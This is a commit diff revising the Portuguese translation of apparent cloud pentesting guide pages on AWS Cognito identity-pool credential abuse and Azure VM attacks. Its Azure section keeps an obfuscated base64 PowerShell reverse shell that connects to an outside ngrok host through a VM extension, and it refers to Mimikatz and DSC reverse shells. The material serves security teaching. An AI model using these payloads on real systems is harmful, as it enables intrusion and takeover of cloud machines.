Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-

This commit is contained in:
Translator
2025-01-26 14:51:34 +00:00
parent 5084966bc4
commit e94616aa30
3 changed files with 30 additions and 30 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 3.5 MiB

View File

@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas
## Basic Information
Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é o suporte tanto para usuários anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
- Amazon Cognito user pools
- Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple
@@ -41,13 +41,13 @@ Isso é **útil para manter informações de um usuário** (que sempre usará o
Além disso, o serviço **cognito-sync** é o serviço que permite **gerenciar e sincronizar essas informações** (nos conjuntos de dados, enviando informações em streams e mensagens SNS...).
### Ferramentas para pentesting
### Tools for pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.
Para uma descrição das funções dos módulos, veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Uso
#### Usage
Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
```bash
@@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
### Fluxo de Autenticação Aprimorado vs Básico
A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Este fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/index.html#session-policies) para a sessão do papel IAM gerado. Esta política permitirá apenas que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**.
```bash
@@ -135,41 +135,41 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/).
Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../index.html#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/index.html).
### Autenticado
> [!NOTE]
> Lembre-se de que **usuários autenticados** provavelmente terão **permissões diferentes**, então se você puder **se inscrever dentro do aplicativo**, tente fazer isso e obtenha as novas credenciais.
Também pode haver **funções** disponíveis para **usuários autenticados acessando o Identity Pool**.
Também pode haver **papéis** disponíveis para **usuários autenticados acessando o Identity Pool**.
Para isso, você pode precisar ter acesso ao **provedor de identidade**. Se for um **Cognito User Pool**, talvez você possa abusar do comportamento padrão e **criar um novo usuário você mesmo**.
> [!TIP]
> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_<Identity Pool name>Auth_Role`
> O **papel autenticado do IAM Cognito criado via** é chamado por padrão `Cognito_<Identity Pool name>Auth_Role`
De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Identity Pool (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
--identity-pool-id &#x3C;identity_pool_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Obtenha o identity_id da resposta do comando anterior
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# No IdToken você pode encontrar funções às quais um usuário tem acesso devido aos Grupos do User Pool
# Use o --custom-role-arn para obter credenciais para uma função específica
# No IdToken você pode encontrar os papéis que um usuário tem acesso devido aos Grupos do User Pool
# Use o --custom-role-arn para obter credenciais para um papel específico
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
<strong> --custom-role-arn &#x3C;role_arn> \
</strong> --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-id <identity_id> \
<strong> --custom-role-arn <role_arn> \
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
</code></pre>
> [!WARNING]
> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** com o qual o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**.
> É possível **configurar diferentes papéis IAM dependendo do provedor de identidade** que o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar os papéis IAM de todos eles**.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas sobre Rede do Azure
## Informações Básicas sobre Redes Azure
As redes do Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede do Azure em:
As redes Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede Azure em:
{{#ref}}
az-azure-network.md
@@ -33,11 +33,11 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív
- **Alertas**: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão:
- Porcentagem de CPU é maior que 80%
- Bytes de Memória Disponível é menor que 1GB
- Porcentagem de IOPS Consumidos de Discos de Dados é maior que 95%
- Porcentagem de IOPS Consumidos do SO é maior que 95%
- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95%
- Porcentagem de IOPS do SO Consumidos é maior que 95%
- Rede Total é maior que 500GB
- Rede Saída Total é maior que 200GB
- VmAvailabilityMetric é menor que 1
- Métrica de Disponibilidade da VM é menor que 1
- **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80
- **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**).
- A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas...
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Imagens, Imagens de Galeria e Pontos de Restauração
Uma **imagem de VM** é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para **criar uma nova máquina virtual (VM)**. A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter **múltiplos discos e é projetada para servir como um modelo para criar novas VMs**.\
As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro das **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública.
As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro de **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública.
Um **ponto de restauração** armazena a configuração da VM e **instantâneas consistentes de aplicativo em um ponto no tempo** de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico.
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Recuperação de Site do Azure
Do [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site **replica cargas de trabalho** que estão sendo executadas em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Depois que o local primário estiver funcionando novamente, você pode retornar a ele.
A partir da [**documentação**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site **replica cargas de trabalho** que estão em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Após o local primário estar funcionando novamente, você pode retornar a ele.
## Bastion do Azure
@@ -509,7 +509,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Execute reverse shell a partir de arquivo
- Execute reverse shell a partir de um arquivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -551,7 +551,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad
É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:
- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados.
- **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados.
- Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.
@@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## Acesso Não Autenticado
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## Pós Exploração